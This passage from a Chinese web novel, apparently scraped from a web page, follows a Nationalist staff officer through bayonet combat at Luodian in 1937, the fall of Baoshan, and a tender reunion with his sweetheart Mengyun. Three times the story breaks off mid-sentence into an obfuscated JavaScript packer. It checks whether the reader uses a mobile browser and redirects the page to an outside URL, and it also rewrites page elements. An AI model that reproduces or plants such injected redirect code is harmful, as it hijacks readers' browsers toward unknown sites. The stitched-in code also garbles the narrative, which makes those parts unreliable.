几个士兵把她放了下来,大家都摘下了军帽或钢盔,一位士兵不知从哪找来一块布幔给她盖上,那位军官疼苦的跪在一旁。 我认出了她,是师里的救护兵,前天见过的,听说是那位军官的同乡;这应该是昨日午后我军被迫撤出阵地时,她因救护伤员落入敌手。 一阵激烈的枪炮声和喊杀声从四面传来,日军反扑了。 我无比悲愤的重新戴上钢盔,端起步枪和那些官兵就冲了出去;我和大家一边跑边大声喊着:“杀鬼子,杀鬼子!” 我们顺着喊杀声寻去,就见大街上我军官兵已和小鬼子在雨中拼上了刺刀。 说实在的,彼时我对拼刺刀完全没底:毕竟离开一线部队好几年,刺杀的技能还是在军校练的,此外在机关待的时间久了,体能储备肯定不如一线官兵;加上昨晚到现在只吃了块烧饼,早已是饥肠辘辘。可我也不知哪来的一股劲头,暴喝一声,端起步枪就冲向鬼子。 我正前方的那鬼子正和我方战士拼杀,被我冷不丁的从侧面冲出,躲闪不及,被我一个突刺撂倒。边上一个矮壮的鬼子大喊一声“八嘎”,刺刀恶狠狠的向我左胸刺来,那力道非常大,我用步枪往外一格却无效,危急中我本能的一个左侧身,就觉得左胸前一凉,然后激烈的疼痛传来。 我没想到我这一左侧身,居然鬼使神差躲过那足以致命的一刺!饶是如此,那锋利的刀尖还是划开我的军装,在我左胸上划了一条长长的口子。我见那鬼子已到身侧,便顺势左手一带让过鬼子,反手一枪托就砸在那鬼子钢盔上,那个鬼子一个踉跄向前仆地。我却因转身过猛,脚下被什么一绊,加上地面湿滑,摔倒在地。 又一个鬼子举枪向我刺来,我在地上一个侧翻,好不容易躲开这一刺,那鬼子狞笑着,看我如同到手猎物似的,再度举枪欲刺;我心说不好,就见眼前一个国军身影闪过,刀光一闪,那鬼子捂着脖子压在我身上,脏血喷了我一身。 我居然又和死神擦肩而过! 这时候大队国军士兵冲杀上来,鬼子见势不妙纷纷后撤,我咬咬牙推开压在身上的鬼子,一只大手把我从地上拉了起来。 事后才知,那场白刃战我军伤亡排长及以下官兵400多人,加上前面的伤亡,全团已基本上失去再度进攻能力。当日我各进攻部队中好几位团级指挥官也参加了肉搏战,战事惨烈之至,到处血流成河。 天全亮后,日军又集中飞机和重炮狂轰滥炸,好些日机几乎是贴着树梢飞行投弹扫射,整个罗店成为一片火海,全镇已经找不出一栋好的房子!我各进攻部队伤亡惨重,被迫撤回出发阵地,全军第二次反攻罗店失利。 我托着疲惫的身躯回师卫生院包扎伤口,替我包扎的军医听我说起经过,连夸我命大,说如果我反应慢上半秒,那刺刀就不是划过而是扎进胸膛了。 我想想也是后怕,虽然第一次亲手杀死了鬼子,可毕竟差点把命丢了。回想起那战场之种种惨烈后,胃里居然一阵翻江倒海,我便忍不住干呕起来。 我的模样虽然颇为狼狈,却赢得一些老兵鼓励的目光。 我见军官证划破了,还沾了不少鬼子的污血,急忙用废弃的纱布沾水擦干净,躲开众人目光后,有些颤抖的拿出芸儿相片一看,还好没有弄脏。 我轻抚着照片上芸儿的笑脸,脑海里一阵空白。 “林参谋,听说你和鬼子拼刺刀受伤了,情况如何?没大碍吧?” 我一看是胡团长过来了,忙起身回了一个军礼,“报告团长,不过是划了一个口子而已,没事的!” 胡团长看了看我的伤口,用拳头轻击我另一侧的肩头。 “这么长一道还没事?你是捡了一条命回来!听说还挑了一个鬼子?不错不错,我原本还有些担心,不过现在看来,参谋本部出来的没孬种!” “这个刺杀好久没练了,有些生疏了,今后得多练。” “下回再遇危险,可一手持刀一手拿枪,” 胡团长一边比划一边说着,“拼刺刀没优势,用手枪,不是有七发子弹?够杀几个小鬼子的!” 这一下让我豁然开朗了,对呀,还可以这么干! “林参谋,你刚才手里拿着是什么?” 我有些不好意思了。“报告团长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宝山地理位置非常重要。我们第98师还要承担反攻罗店的重任,守狮子林炮台的一个营已全部拼光,守宝山也只有一个营,夏师长放心不下,多次打电话给姚营长,询问宝山战况,夏师长也想派兵增援,可战至二日黄昏,全师上下伤亡过半,已被迫撤退到月浦东侧阵地,哪有兵可派! 姚营长电话中保证人在阵地在,我们都知道,他这是决死报国了。 九月五日下午1时左右,日军步兵1000余人在十余辆坦克支援下,直扑宝山县城,我第294旅派出1个营前往支援,但屡遭日机轰炸增援受阻,至下午3时,我宝山城外阵地几乎被夷平,姚营长遂下令守军全部撤入城内死守。 晚间夏师长派通信兵穿越封锁线进入城传达命令,要3营死守宝山,等待援军。姚营长代表全营表示:“誓死守卫宝山城,与敌人决一死战。” 当天夜间,姚营长又向师部发电: “全营官兵均抱与敌偕亡之决心!” “一息尚存,奋斗到底!” 至六日凌晨,日军已将宝山团团围住,夏师长请求上峰派兵救援,我第1军增援部队在杨行一带被日军猛烈炮火阻隔。 我们就眼睁睁的看着3营陷入绝境。 战至下午时分,全营只剩下100多人,4个连长阵亡了3个,9个排长阵亡了6个,宝山与师部电话联系中断。 据后来我军唯一幸存战士魏建臣汇报,姚营长知最后时刻即将来临,集合剩下官兵做最后动员:“弟兄们,日本鬼子杀我同胞,奸我姐妹,占我国土,欺人太甚。不把鬼子驱逐出中国,是每一个中国军人的奇耻大辱,不做亡国奴,不做王八蛋,誓与宝山共存亡!” 魏建臣当晚受姚营长命令出城向团长报告战况,乘隙越城而出。 七日上午,3营官兵战斗到最后一刻,全部壮烈牺牲。 夏师长听闻噩耗,一时悲愤无语,对着宝山方向脱帽三鞠躬。 在场者无不动容,纷纷脱帽鞠躬,深表哀悼。悲愤之下,我心中默念:子青千古,宝山永存! 在那个时候,我只能以此来缅怀我这位广东老乡。 当日,吴淞、狮子林、宝山间联系线被日军打通。 至十一日,我98师在月浦已血战五天五夜,无力再战,接罗军长命令转移到太仓进行增补;罗店一战,全师师伤亡达4960人,占全师兵力62%,阵亡营级以下军官就达200余人,真是“一寸山河一寸血!” 98师经过增补后,再度投入淞沪会战。 十一月五日,日军由金山卫登陆 。 战场形势已是万分危急,我国军全线将士即将陷入日军合围之中。 八日夜,日军三面突入松江,我第67军全军覆没;当晚委员长下令全面撤退,所有部队撤出战斗分两路退向南京、苏州--嘉兴以西地区。 由于命令仓促,指挥失控,几十万部队撤退途中挤在几条公路上,受日机不断轰炸,大撤退变成全面大溃退...... 12. 再回小城 南京失陷后,我回到改组后的军令部。 那些日子,苦闷、压抑笼罩在每个人的心头。特别是听说日军在南京实施惨绝人寰的大屠杀后,我们个个都憋着一股劲,恨不得上战场杀敌雪耻,哪怕是为国捐躯也在所不惜。 四月份台儿庄一场大胜,极大的振奋了人心。依照军事委员会相关部署,第五战区集中兵力于徐州附近,计划在鲁南再打一场大会战,再次聚歼日军,挫败敌寇打通津浦路的企图;争取改变战场态势,为后续抗战部署赢得时间。 这日我随处长南线巡视北回徐州,途中经过小城。处长听说这儿有个战时医院,临时决定看望受伤将士,住上一晚,次日一早回程。 战事爆发后经历了太多生死,感觉都有些麻木了。但回到了熟悉的小城,还能住上一晚,我的心又有些复活了。我心爱的芸儿,你还好么? 可一想这回只有短短十来个小时,能见上面么?自从去年遇到芸儿之后,我曾有多少美好的期望啊!可如今战火四起,局势难料,若再上战场,我能活着回来么?好想见面,又怕见上。 五月的小城,正是紫藤的花期。那紫色的花儿,一簇簇的,在蓝天白云下,古巷里,小楼旁,甚是好看。 自三四月份数场大战下来,伤兵不少,小城医院已成为战区医院一部分了。伤兵到处都是,病房里,走廊里,甚至连院子里都搭了好些帐篷。 院长陪着我们一行,满脸的抱歉和无奈。一是药品储备不足,一些手术,在麻醉不足甚至是根本没有麻醉的状况下进行;二是人手奇缺,虽然司令长官部支援了一些医生过来,但数量远远不够,能做外科手术的更是整天忙得不可开交;饶是如此,每天都有不少重伤员离去,甚至还轮不到手术就牺牲了。 大家听了都深感痛心,处长更是满脸凝重。 让我意外的是,在二楼医生办公室里居然又见到张薇。只是没想到她一见面就给我来个大大拥抱,就如同以前一般,根本不顾周边那些诧异的眼睛。 处长见状有些无奈的摇摇头,见怪不怪的笑着说:“这丫头,这么大了还有小时候那股疯劲呀。” 我们一起又走了好些病房,正准备再上三楼时,就听到背后传来一位女声的惊呼:“前面可是林之秋林参谋?” 我跟着大家回头一看,居然是梦芸!她一身蓝色长袍,外面套着一件白色的围裙,围裙上有片片血渍,头上随意扎了两个小辫,好疲惫的样子,却是满脸的期待;她见我转身,两行热泪便流了下来,然后急忙用手拭去。 我也是一声惊呼:“芸儿,你怎么会在这儿?” 刹那间,我们都意识到自己的失态。 处长见了,有些疑惑的问我:“你们认识?这位是?我们好像见过?” 我正要回答,张薇笑着说:“她叫洪梦芸!这里的小学教师,曾和之秋表嫂去过南京的。这不是人手不足么?她学过护理,自愿过来帮忙。” “洪梦芸,好名字!对了,之秋,你叫她芸儿,这是你的女朋友?”处长见我们有些不好意思的样子 ,立刻就明白什么了。他认真打量了一下梦芸,笑着赞叹道:“不错不错,你小子有眼光,真是才子佳人啊。这么说我临时起意暂住一晚是对的喽?之秋,女朋友在这儿,你怎么不早说?” 我忙一个立正。“报告处座,卑职责任所系,日寇未除,不敢言他。” “好一个日寇未除,不敢言他!这才是革命军人应有的样子!现在是下午4点25分。”处长看了看表,大喝一声:“林之秋!” “到!” “给你一个任务,陪洪小姐吃晚饭,晚间7点40分前归队!对了,张军医,我看洪小姐也很疲倦了,你这是不是也给几个小时休息休息?” “那还用说,我也想赶她回去休息,就是赶不走!她太勤劳了,只要没上课就来帮忙,还帮我们值夜班,这些天下来那个累的!梦芸,处座都发话让你休息啦!放心!今晚小夜班我来,你就好好休息,明早准时过来便是!” “这就对了嘛!林之秋,还不马上执行命令?还不谢谢我?” “是,执行命令。谢谢处座!” 处长一行笑着离开了,有位同事从我一旁经过时还笑着用拳头锤我,给我打气,倒是把梦芸羞了一个大红脸。 梦芸摘下围裙,和我肩并肩的走着。梦芸不时回过头来看我一眼,那脸上飞起片片红晕,然后又又低下头,幸福的神情就荡漾开来。 起初两个人都没有说话,真是纵有千言万语,一时却无从说起,直到出了医院,还是梦芸先打破了那短暂的沉寂。 “之秋,你知道么?人家是多么的想你。”梦芸说着说着就低下了头。 “芸儿,我也想你。”看着梦芸害羞的样子,我心里是百感交集。 梦芸抬起头看了我一眼,又很快的低下头去,然后两手往前一拍,又往后一拍,然后扭过头来看着我,有些生气般的撅起了小嘴。 “自从那回南京一别后,人家就天天盼着之秋的来信。平安的消息是收到了,可是只能收到来信,芸儿想给回信,却不知往哪儿寄。” “芸儿,从淞沪会战开始,一场接一场的血战,部队不断的调动,能把信儿寄出就相当不易了,加上有时还有保密需要,这个还请多多见谅啊。” “之秋,人家也是这么想的嘛。可有几个姐妹却和芸儿开玩笑说,林长官说不定早就把芸儿给忘了,要不后边怎么就联系不上呢?可把人气的。之秋,你知道这几个月来,人家有多当心呀。” “之秋晓得,可身为军人,保家卫国是职责所系呀,就让芸儿牵挂了。对了,芸儿,你怎么会自愿来医院当护士呢?” “是这样的,听说上海开战了,人家就茶饭不香的,还,还,” “还什么呢?” “还常常做恶梦。特别是这医院开始接受伤兵之后,有一天晚上,就梦见之秋受了重伤,浑身是血的,呸呸呸,乌鸦嘴!就是,就是很重很重的那种,嘴里不停喊着芸儿的名字,被送进了医院,把芸儿给吓得,第二天就跑到医院来了,就怕看到梦里出现的情况。后来,芸儿干脆就来帮忙了。万一,人家是说万一出现梦里的情况,人家就可以守在一旁护理啊。” 我听了,鼻子不由一酸。“你看,我这不是好好的,再说真发生那种情况,有好多后方医院啊,芸儿可知我会被送到哪儿去?” “这个嘛,芸儿就想啊,人家在这尽心护理伤员,天主见了,一定会体谅芸儿的苦心的。若是之秋真的负伤,也一定会派一个人去尽心护理的,那之秋不就好得更快么?” 我顿时眼角润湿了。见四下没什么人,一把拉着梦芸的手,把她拥在怀里,紧紧的抱着,“真是个小傻瓜呀!都说梦里的东西和现实是相反的,你看,之秋这不好好的?” 梦芸起初在我怀里还略有些挣扎,嘴里喃喃的说:“之秋,你别这样呀,这大街上有好些人,要是让人认出,多不好呀……”到了后来,就依偎在我怀中,什么都不说,直愣愣的看着我,眼泪就流下来。 “怎么了,芸儿,弄疼你了么?” 我急忙放开,就见梦芸略带着哭腔说道:“没,没有。之秋是大坏蛋,一见面就知道欺负人。芸儿只是没想到,等了整整295天,今天之秋就突出现了。”说着说着,又痴痴的笑了。 “芸儿,是之秋不好啊!要是没有这场该死的战争,该有多好!” “这个芸儿晓得,之秋是军人,要听命令的。今儿能见着就很开心了。”梦芸忽然想起什么似的,抬起头来眼巴巴的看着 我问道:“之秋,看处长也在,你们可是路过?”。 “是路过,我们要回徐州,只住一晚,明早八点后就走。”我低下了头,不敢也不忍心去看梦芸的眼睛了。 “才住一个晚上呀?你们晚上还有安排?”梦芸的声音有些颤抖了。 我抬起了头,勉强挤出一个笑容。“晚间有每日例会。之秋也是没想到,居然能在医院遇见芸儿。处长说在小城留宿一晚,我别提有多开心了,但又生怕没有时间,如今是非常时期,怎好向处长请假?还好芸儿及时出现,处长体谅、关心,给了假。” 梦芸听了眼圈就红了。“要见上一面这么难,这么说来要感谢张军医了。对了,之秋,张军医男朋友也和你们在一起吗?” “哦?这话如何说起呢?” 我觉得有些奇怪,“没听说她有男朋友呀。芸儿,你怎么会问起这个呢?” “人家,人家是听说张军医,张军医的男朋友来了,而且......” “而且什么?” “张军医一见她男朋友,就,就,就抱在一起了。” 原来是这么回事呀,这个张薇!也多亏这一抱,引起梦芸的好奇,我们这才见了面。 我红着脸说道:“她就是喜欢特立独行,又是幼时的玩伴,她老是把之秋当哥们的。我不是和你说过啦?上回在南京她也不是那样?怎么啦,芸儿?哦,我明白了,芸儿吃醋啦?” 梦芸脸上立刻就红了,急急的辩解着:“谁吃醋啦,谁吃醋啦?” 我笑着打趣道:“还没吃醋呀?怎么四下里有一股酸酸的味道呢?” “你才酸呢!” 梦芸有些急了,扭过头去,那眼角分明有些润湿了,“之秋好坏,又欺负人。” 我自是有些心疼,急忙解释:“芸儿,我的好芸儿,是之秋不对,不该乱说话的。之秋和张军医之间真没那事。要不处长见了,怎么会问芸儿是不是之秋的女朋友呢?” 梦芸缓过神来,小嘴一撇:“想得美!人家才不要当之秋的女朋友呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯呐。”梦芸抬起了头,静静地看着我,任凭我帮着把眼泪擦干。 看着她那清澈的眼神,我的心都快化了。“芸儿,之秋现在跟着处长,只要我们计划得好,同样可以杀敌,杀多多的敌人,为牺牲的兄弟们报仇,为那些无辜死难的平民百姓、父老乡亲报仇!” 梦芸平静下来。“是该多杀鬼子报仇的!之秋,和你说件事,徐雅回来了。” “徐雅回来了?什么时候?可是去年十月省城失陷后?” 梦芸听了难过的点了点头说:“是的。还有,你那玉轩表哥,没了。” “表哥没了,什么没了?芸儿,你告诉我怎么回事?” 梦芸更难过了。 “年初小鬼子飞机来轰炸,那时候防空洞什么的还没全好,大街上乱乱的,玉轩那会正好从外地回来,他急忙带人疏导,叫大家隐蔽,一颗炸弹就落在他们中间。” 什么?我眼前顿时浮现出表哥的音容笑貌来。我痛苦的将一拳头砸向路边一颗树上,一些残花便纷纷飘落。 “这该杀千刀的小鬼子,血债一定要用血来偿还!芸儿,这还有点时间,要不我们去看看徐雅?” “好的,之秋,我们一同去,只是......” “只是什么?” “只是徐雅已经不是以前那个徐雅了。” “这话什么意思?” “唉,之秋,你见到就知道了。” 到了徐府,管家一见梦芸,便好是热情:“哎呀,来了您!洪小姐,您又来探望我们家小姐啦?真是姐妹情深呀。请问这位长官是?” “这位是林长官,是你家姑爷的表弟,也是小姐的学长,去年来过的;今天正好路过,就过来看看小姐。” “呀,原来是林长官,瞧小的这眼拙的,上回您来穿的是西装,今儿个一身戎装,精神,威武,搞得小的都不敢认了,该死该死。小的这就进去通报老爷和太太,林长官,您这边请,这边请。” 那管家迎上来,一脸堆笑。 “小姐今天如何?” “在书房,还是有一出没一出的。咳,这该死的小日本,作孽啊。” 梦芸带着我先到了书房,就见徐雅一身黑衣,呆呆的坐在书桌前,似乎在想着什么,可那眼神里却是一片的空虚。 “徐雅,你看看这是谁?之秋!我带之秋看你来了。” 徐雅依旧一动不动的坐着,神情没有一点变化。“之秋来啦?梦芸,你帮我好好招待一下哈,玉轩说这几天就回来,算算日子,应该就是明天,你看,这不是他来信了?” 我这时才注意到,徐雅手边有一封信,那信封都有些破损了。 这是怎么回事?徐雅怎么变成这个样子? 13. 互述衷肠 梦芸做个禁言的手势,默默走了过去,从后面搂着徐雅。 徐雅还是面无表情的坐着,幽幽的说着:“梦芸,你明天若是得空,可否陪我一同去车站接玉轩?” 梦芸抬起头看着窗外,那是努力不让泪水留下来吧。“好的,我们一同去。” 然后那画面就定格好几分钟。 末了,梦芸在徐雅耳边轻声说着:“你好好歇着,我和之秋一同去给伯父伯母问个好。”依着梦芸的手势,我有些迷糊的跟着走出了书房。 “徐雅怎么变成这个样子?芸儿还答应她明天去接人?” 梦芸眼里含着泪,小声的说着:“每回来都是这样,那个明天就是个念想,一个空空的希望。” “这究是怎么回事?还有那封信?” “信是事发前几日玉轩写给徐雅的,现在天天被她带着身边。那日出事后,徐雅一听就晕过去了,醒了后大哭一场,然后坚持着守灵。守完头七的晚上,她就把自己吊在房梁上。还好发现的早,救下来后,又见了红,才知是有了身孕;可怜那孩子连2个月都不到,就这样没了。再往后,人就成这样了。” “那可曾找一些大夫看看?” “找过了,连外地一些有名大夫都找了,抓了不少药,就是不见好,都说这是心病啊。只能先依着她,待时间长了,看看能不能忘掉。我这命苦的姐姐呀!结婚还不到半年啊!就成了现在这个样子,怎么说呢?她每天就靠着那期待中的明天活着......” 我听了真是无比的伤感,想想以前和表哥、和徐雅那些一起快乐的日子,那些所有美好的记忆,都毁在这无情的战火中!这该天杀的小鬼子呀!一个念头便在我脑海里回响:再上前线,杀鬼子,多杀鬼子! 回头再看徐雅,她依旧坐在窗前,沉浸在自己的思想里。 到了客厅,见到徐雅的父母,顿时感慨万分。 和上回见面相比,二位都苍老了不少。徐父还好,和我聊些时局、战况什么的,徐母坐在一旁,不停的拿手绢拭泪,我们见了,不由得又是几番安慰。看夕阳西沉,徐父原本还要留我们吃饭,听说我晚间要限时归队才做罢,然后送我们出来。 临出门前,徐母拉着梦芸的手,眼圈红红的对我说:“林长官,洪小姐是个好人儿,可别辜负啦,还有您自个儿千万得小心些,战场上,枪子无眼的。” 徐父一听,急忙致歉:“你这个老婆子瞎说什么!林长官,您听了千万别往心里去啊,拙内没啥见识,不会说话的。” 我听了便急忙的说:“伯父伯母,没事的,没事的。之秋知道您二老是担心之秋的安全,是为之秋好,您二老放心,之秋会注意的,真到了战场上,之秋一定会多杀几个鬼子,为玉轩报仇!” 离开徐府,我和梦芸心情都有些沉重,有好一阵子不知该说什么。 我们俩就默默的走着,梦芸双手挽着我的胳膊,愈发的紧了。 直到进入小巷,看见那盛开的紫藤,梦芸才转过头来,小声的说道:“之秋,和你说件事,别让我妈知道你上过战场的事,好吗?如果我妈问起,就说只是在后方,管后勤的,好吗?之秋,我没别的意思,人家只是……” “只是不想让伯母担心,对吗?放心啦,我会注意的。对了,伯父还有你哥都还好吧? “父亲去外面收款了,兄长好几个月没回家了,月前来信说在武汉。” 进到屋内,洪母听梦芸说我来了,便急忙放下手中的活计,从厨房出来。 她一见到我就笑容满面的说道:“林长官来啦?好啊,好啊!今天是第一回看您穿军装,真是好看!我才说两天好几次看到喜鹊,准有什么喜事,没想到是林长官来了!小芸!你也真是的,怎么事先也不和妈通个气,早知道妈就上街多买一些菜,你看都这个点了,这下可要让妈手忙脚乱一阵了。” 看到洪母在数落梦芸,我赶紧接话:“伯母,这不怪梦芸的,我们这是路过,午后才到的。这不,承蒙处座特批了假,便来看您了。” “林长官真是有心了,队伍上那么忙,还惦记着老身。我这就做晚饭,做晚饭---”洪母正高兴着,可转念一想我说的,那神情分明就有些担心。 “路过?林长官,你们这,这是要上前线么?” “伯母,叫我之秋好啦,我是陪长官巡视,没上前线的。” “没上前线,没上前线好呀!前线日子小芸去参加什么、什么,对了,志愿服务队,听说前面打得紧,一下子来了好多伤兵,每天还有一些伤重不治的,诶,真是罪孽呀!老身这天天祷告,让天主保佑,保佑我们国军天天打胜仗,早些把小日本赶出去!从去年开始,这怀消息是一个接一个的,先是北平,然后上海,到年底南京又丢了!后来就听说小鬼子在南京城里杀人放火糟蹋妇女什么的,让人听了心惊肉跳的。林长官,哦,之秋,您在国军上,你说这战,中国能打赢么?” 我听了自是满脸的羞愧,瞧这战打的! 但我知道,身为军人要有信心,特别是在国人面前展示我们的信心,我们承载着多少国民大众的希望啊! “伯母,国军一定能打赢的。前些日子,国军不是在徐州,在台儿庄打了个大胜仗么?我们大家都在努力,这南京,我们一定会夺回来的,我们一定会把小日本鬼子赶出中国去的。” “这就好,这就好啊。国军一定会赢,一定会的。对了,林长……之秋,您在国军上是管哪一方面的呀?” “姆妈!您这是怎么啦,之秋吃完晚饭还要回去的,说是七点半前归队。您这么唠唠叨叨的,还做不做晚饭啦?之秋是国军的参谋,在后方做事,这不和您说了多少回啦?” 梦芸一边说着,一边朝我使眼色。 “是的,伯母,我在后方做事的。”还好梦芸此前的交待派上了用场。 “后方好,后方好呀!瞧这记性,小芸呀,你就好好陪陪之秋,妈这就去做晚饭,这就去。” 我和梦芸肩并肩坐着,一时无语;我忽然就有些矛盾了。 我是一名军人,军人就可能流血牺牲。徐雅的父母,梦芸妈妈,他们都是好人,作为一名普通中国人,他们都希望中国强大,希望中国能打赢。但作为父母,面临自己的亲人好友要上战场的时候,在所有义无反顾的后面,会有多少深深的挂念和担心啊?就说梦芸吧,这些日子我不是让她担惊受怕的? “之秋,在想什么呢?” “芸儿,是之秋不好,让你这些日子担心了。” “之秋快别这么说,你是军人,军人就要保家为国的。你不知道,前些日子台儿庄大捷的时候,芸儿有多高兴啊!多骄傲啊!跟着大伙上街游行,又唱又喊的,回来才发现嗓子都有些哑了。可是转念一想,这是之秋所在的国军啊!要是能天天打胜仗,该有多好!” “芸儿---”我握住了那纤纤的手,眼里就有些润湿了。 梦芸挪了过来,依偎在我怀里,然后抬起头来长长的看着我。 “芸儿,干嘛这样看我呀?” “人家想把之秋的样子刻在心里么。”梦芸说着把头靠在我肩膀上,“之秋,你知道么,从认识到现在,我们两在一起的时间,一共有多长?” “这个让之秋想想,第一次见面是去年四月份,后边就是南京,算上今天,应该有八天吧。” “之秋,你是把每次见面都算一天了,不能这样算的。” “哦,是不能这样算的,那依芸儿的算法是多长呀?” “之秋,芸儿是按小时算的,虽然此前我们两人见面的天数有七天,可是真正相处在一起的时间,才过了42 个小时,还不到两天!之秋,芸儿真的好想有多些时间和你待在一起呀。” “芸儿!”我忽然有些哽咽了,“是之秋不好啊!” “不怪之秋的!之秋是军人,部队上有部队的规矩,芸儿就盼着这场战能早些打完,至少我们不会这么久才能见上一面。” “芸儿,等把小鬼子赶出去,我就解甲归田。到时候我们就天天在一起。” “真的?真的可以天天在一起么?” 梦芸紧紧挨着我的肩膀,生怕把我弄丢似的。 “真的,到时候我们找一所面朝大海的房子,我呢,写诗,作画;芸儿呢,相夫,教子。对了,要多生几个孩子。” “呸呸呸!想得美!人家什么时候说要嫁给你啦?” 梦芸羞红着脸,声音细细的。 “没说过么?” “没说过的。当然没说过的。” “那想过了吗?” 梦芸有些急了,张口就说:“当然没想过啦,就你会瞎想,还写诗作画呢!写诗作画能养家糊口么?还说要多生几个孩子,怎么养啊?” 梦芸发现说漏嘴了,脸上顿时就红了,那声音是越说越小。 “哈哈,某人都考虑如何养家糊口了,还说没想过?” “哈!之秋你好坏,你好坏!话里头埋了套子在等人家!”梦芸嘟起了小嘴,要拿拳头锤我。 “哎呀,投降,投降,伯母在厨房,被她老人家听到了多不好!” 听我这么一说,梦芸停下手中的拳头,忽然又想起了什么,牵住我的手。 “之秋,你随我来,芸儿要给你看样东西,来,闭上眼睛,不许偷看哦!来,乖,上楼梯了,小心!低头!抬脚,这有个门槛,好啦,到啦,坐着,不许睁眼,不许偷看!好啦,睁开眼!” “这是哪呀?”我睁开眼一看,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592268|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是梦芸的闺房么? 我坐在桌旁,面对是一扇窗,远处的夕阳正在落山,而近处的小河和房屋,也就披上就一片霞光。 “真美呀!”我赞叹着,正要四下打量,梦芸站在我身后,在我头上轻轻一拍,“看什么看,不许乱看!看桌上的东西。” 我低头一看,是一练书法的本子,封面上用秀丽的楷书写着:之秋诗集。 我的诗集?我翻开一看,第一篇是 《送别》,没想到梦芸就在一旁轻声背诵起来:“青山斜阳里,相看披落晖。乱花时时舞,倦鸟双双回。长亭送君去,浊酒三五杯。寂落屏栏处,孤帆渐已微。民国二十五年四月十日。” 我鼻子一酸,刚翻开下一页,梦芸又背出来了:“是之秋填的《浣溪沙.梦里笑容又眼前》......”。 “芸儿,你这是!咳,我都不知自己写了什么,好些都是随口胡嘬的,上不得台面,还之秋诗集呢,这传出去给那些诗人看到了,不丢死人啦?” “人家才不管呢,在芸儿眼里,之秋就是大诗人,是芸儿的大诗人。之秋的诗词,就是好!芸儿记着这些,不求哪天能成书什么的,只要每每想之秋的时候,读起这些诗来,眼前就会出现之秋的样子,这就够了。” “芸儿!”那一刻,我便觉得心已融化在落日余晖里。 我转身站起了来,梦芸的脸上满是红霞,我们两就这样面对面站着,眼里是满满的对方,甚至可以感受到对方渐渐急促起来的呼吸。 慢慢的,梦芸就闭上了眼睛。我再也无法按捺自己驿动的心,吻上了梦芸那温润的双唇。那一刻,如万千烈火在胸中燃烧起来,而梦芸则是紧紧的抱着我,浑身颤抖着,越拥越紧,片刻之后,两行热泪,湿了我的脸。 “芸儿,怎么了?是之秋不好么?还是觉得之秋欺负芸儿了?” “不是的,之秋!是芸儿太高兴了!芸儿觉的好幸福,这是幸福的泪水。”梦芸看着我,再次吻了上来。如果时间能停止,就永久停留在这一刻吧。 未了,梦芸脸红红的靠在我怀里,小声的叫着:“之秋。” “嗯。” 梦芸抬起了头,深情的看着我。 “去年徐雅结婚后,姆妈问起你的情况,还说等战事结束后,要不双方家长见个面?”说着说着,梦芸就把头埋在我胸前。 “这个是自然的。”我亲吻着梦芸的秀发,口中喃喃的说着。 “之秋,还有一事。” “嗯。” “之秋那回在南京舞会上跳的舞,芸儿终于学会了。” “芸儿学会了跳探戈?” “是呀,还有那个舞曲《一步之遥》,乐谱芸儿也会背了。可惜这儿没有留声机,芸儿就想着,若是能和之秋舞上一曲,该有多好。可是现在到处在打仗,这一步,不知还要等多久。” 到处在打仗?一步之遥,梦芸随口一说,猛然把我拉回到现实中间。 “一步之遥,一步之遥!” “怎么啦?之秋?” “芸儿,这战还不知要打上多少年!上了战场,生死就是一步之遥!好多好多兄弟,说没就没了。我有时也在想,今天上去了,或许就下不来。” 话音未落,芸儿慌忙捂住我的嘴,眼里泪花闪闪! “之秋千万别乱说,芸儿找人看过的,之秋是吉人天相,这么多场恶战下来,之秋不是都没负过伤么?之秋,你要答应芸儿,一定要好好的!芸儿也晓得这战不知要打多久,可是芸儿愿意等着!” “芸儿!好芸儿!这岂不是苦了你?” “不会的,不会的!之秋,你知道吗?芸儿有回梦着抗战胜利了,我们这举办庆祝舞会,欢迎凯旋归来的英雄。音乐响起,之秋一身戎装,胸前挂着亮晶晶的勋章,潇洒的走到台中央,站直了身子,微微抬起了头,伸出右手,高高的,优雅的对着芸儿做出邀请,然后全场的目光啊,就在我们身上了,那会儿芸儿就觉得自己是世上最幸福的人了。芸儿会在这等着之秋得胜回来,共舞这一曲。” “芸儿!我的好芸儿!” 看着芸儿那憧憬的神情,我整个人都快化了。“等到胜利了,待芸儿披上婚纱,我们一定要众人面前,跳这曲《一步之遥》!” 窗外的落日,已沉入暮霭的小山中。 晚饭后梦芸执意要送我出来,我自是不让。小城已挨过小鬼子几次轰炸,只能保证几个要害部门的供电,街上黑黑的。还好我对于小城的地图早已烂熟于心,知道如何回去,这“活地图”的雅号可不是平白得来的。 我走出巷口,回头一看,梦芸手持油灯守在门口,见我回头,便使劲挥手,我也急忙挥手,一下,两下,三下;然后转身走入月色中。 那灯火,久久在我心里。 14. 清晨诀别 回到驻地,心情好好。 准时参加晚间8点的战情分析会,没想到会议一开,就觉得一瓢凉水从头上浇了下来。 军事委员会之前的计划是集中优势兵力,会战于鲁南,再打出一个台儿庄的大捷,击灭当面之敌,以寒寇胆而扬国威;但从目前的实际情况来看,形势不容乐观: 